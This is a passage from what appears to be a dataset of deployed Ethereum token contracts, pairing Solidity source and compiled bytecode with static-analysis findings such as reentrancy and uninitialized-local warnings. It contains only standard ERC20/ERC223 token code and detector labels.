ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611a4c57fe5b8091505092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab457600080fd5b600660149054906101000a900460ff16151515611ad057600080fd5b611ae582600054611a3890919063ffffffff16565b600081905550611b3d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515611c4c57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c9457600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ce257600080fd5b611d3482600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3e90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820f0f0868b336e4b148e5b5597c743ca806ea5be9d850ae950c80349b2fe211af20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,935 |
0xb39573edc34b3da6c836a59fe6375155d804e492 | pragma solidity ^0.4.22;
// File: contracts/ERC223/ERC223_receiving_contract.sol
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/ERC223/ERC223.sol
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223 is StandardToken {
event Transfer(address indexed from, address indexed to, uint value, bytes data);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data Optional metadata.
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
super.transfer(_to, _value);
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
}
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
bytes memory empty;
return transferFrom(_from, _to, _value, empty);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
* @param _data Optional metadata.
*/
function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool) {
super.transferFrom(_from, _to, _value);
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _value, _data);
}
Transfer(_from, _to, _value, _data);
return true;
}
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts/RootsToken.sol
contract RootsToken is CappedToken, ERC223 {
string constant public name = "ROOTS Token";
string constant public symbol = "ROOTS";
uint constant public decimals = 18;
function RootsToken() public CappedToken(1e10 * 1e18) {}
function mintlist(address[] _to, uint256[] _amount) onlyOwner canMint public {
require(_to.length == _amount.length);
for (uint256 i = 0; i < _to.length; i++) {
mint(_to[i], _amount[i]);
}
}
} | 0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013f578063095ea7b3146101c957806318160ddd146101ed57806323b872dd14610214578063313ce5671461023e578063355274ea1461025357806340c10f191461026857806360fd0e911461028c578063661884631461031c57806370a08231146103405780637d64bcb4146103615780638da5cb5b1461037657806395d89b41146103a7578063a9059cbb146103bc578063ab67aa58146103e0578063be45fd621461044f578063d73dd623146104b8578063dd62ed3e146104dc578063f2fde38b14610503575b600080fd5b34801561012257600080fd5b5061012b610524565b604080519115158252519081900360200190f35b34801561014b57600080fd5b50610154610534565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018e578181015183820152602001610176565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d557600080fd5b5061012b600160a060020a036004351660243561056b565b3480156101f957600080fd5b506102026105d5565b60408051918252519081900360200190f35b34801561022057600080fd5b5061012b600160a060020a03600435811690602435166044356105db565b34801561024a57600080fd5b506102026105f4565b34801561025f57600080fd5b506102026105f9565b34801561027457600080fd5b5061012b600160a060020a03600435166024356105ff565b34801561029857600080fd5b506040805160206004803580820135838102808601850190965280855261031a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506106669650505050505050565b005b34801561032857600080fd5b5061012b600160a060020a03600435166024356106fc565b34801561034c57600080fd5b50610202600160a060020a03600435166107f5565b34801561036d57600080fd5b5061012b610810565b34801561038257600080fd5b5061038b610898565b60408051600160a060020a039092168252519081900360200190f35b3480156103b357600080fd5b506101546108a7565b3480156103c857600080fd5b5061012b600160a060020a03600435166024356108de565b3480156103ec57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261012b94600160a060020a0381358116956024803590921695604435953695608494019181908401838280828437509497506108f59650505050505050565b34801561045b57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261012b948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610ac59650505050505050565b3480156104c457600080fd5b5061012b600160a060020a0360043516602435610ca3565b3480156104e857600080fd5b50610202600160a060020a0360043581169060243516610d45565b34801561050f57600080fd5b5061031a600160a060020a0360043516610d70565b60035460a060020a900460ff1681565b60408051808201909152600b81527f524f4f545320546f6b656e000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b600060606105eb858585846108f5565b95945050505050565b601281565b60045481565b60035460009033600160a060020a0390811691161461061d57600080fd5b60035460a060020a900460ff161561063457600080fd5b60045460015461064a908463ffffffff610e0916565b111561065557600080fd5b61065f8383610e18565b9392505050565b60035460009033600160a060020a0390811691161461068457600080fd5b60035460a060020a900460ff161561069b57600080fd5b81518351146106a957600080fd5b5060005b82518110156106f7576106ee83828151811015156106c757fe5b9060200190602002015183838151811015156106df57fe5b906020019060200201516105ff565b506001016106ad565b505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561075957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610790565b610769818463ffffffff610f2616565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461082e57600080fd5b60035460a060020a900460ff161561084557600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600581527f524f4f5453000000000000000000000000000000000000000000000000000000602082015281565b600060606108ed848483610ac5565b949350505050565b600080610903868686610f38565b5061090d856110b8565b15610a0457506040517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483019081526024830186905260606044840190815285516064850152855188949385169363c0ee0b8a938b938a938a9360840190602085019080838360005b8381101561099d578181015183820152602001610985565b50505050905090810190601f1680156109ca5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156109eb57600080fd5b505af11580156109ff573d6000803e3d6000fd5b505050505b84600160a060020a031686600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a7e578181015183820152602001610a66565b50505050905090810190601f168015610aab5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600195945050505050565b600080610ad285856110c0565b50610adc856110b8565b15610c985784905080600160a060020a031663c0ee0b8a3386866040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b7c578181015183820152602001610b64565b50505050905090810190601f168015610ba95780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610bca57600080fd5b505af1158015610bde573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c5c578181015183820152602001610c44565b50505050905090810190601f168015610c895780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35b506001949350505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610cdb908363ffffffff610e0916565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610d8b57600080fd5b600160a060020a0381161515610da057600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282018381101561065f57fe5b60035460009033600160a060020a03908116911614610e3657600080fd5b60035460a060020a900460ff1615610e4d57600080fd5b600154610e60908363ffffffff610e0916565b600155600160a060020a038316600090815260208190526040902054610e8c908363ffffffff610e0916565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600082821115610f3257fe5b50900390565b6000600160a060020a0383161515610f4f57600080fd5b600160a060020a038416600090815260208190526040902054821115610f7457600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610fa757600080fd5b600160a060020a038416600090815260208190526040902054610fd0908363ffffffff610f2616565b600160a060020a038086166000908152602081905260408082209390935590851681522054611005908363ffffffff610e0916565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461104b908363ffffffff610f2616565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000903b1190565b6000600160a060020a03831615156110d757600080fd5b600160a060020a0333166000908152602081905260409020548211156110fc57600080fd5b600160a060020a033316600090815260208190526040902054611125908363ffffffff610f2616565b600160a060020a03338116600090815260208190526040808220939093559085168152205461115a908363ffffffff610e0916565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001929150505600a165627a7a723058200d6d9f43327905b6508206e2b54e43c46e6b5c7f7db5aaa54b0705a446b5a0eb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,936 |
0xf428830f1573ff1d13b7b35d0cbde96da1432ec6 | pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
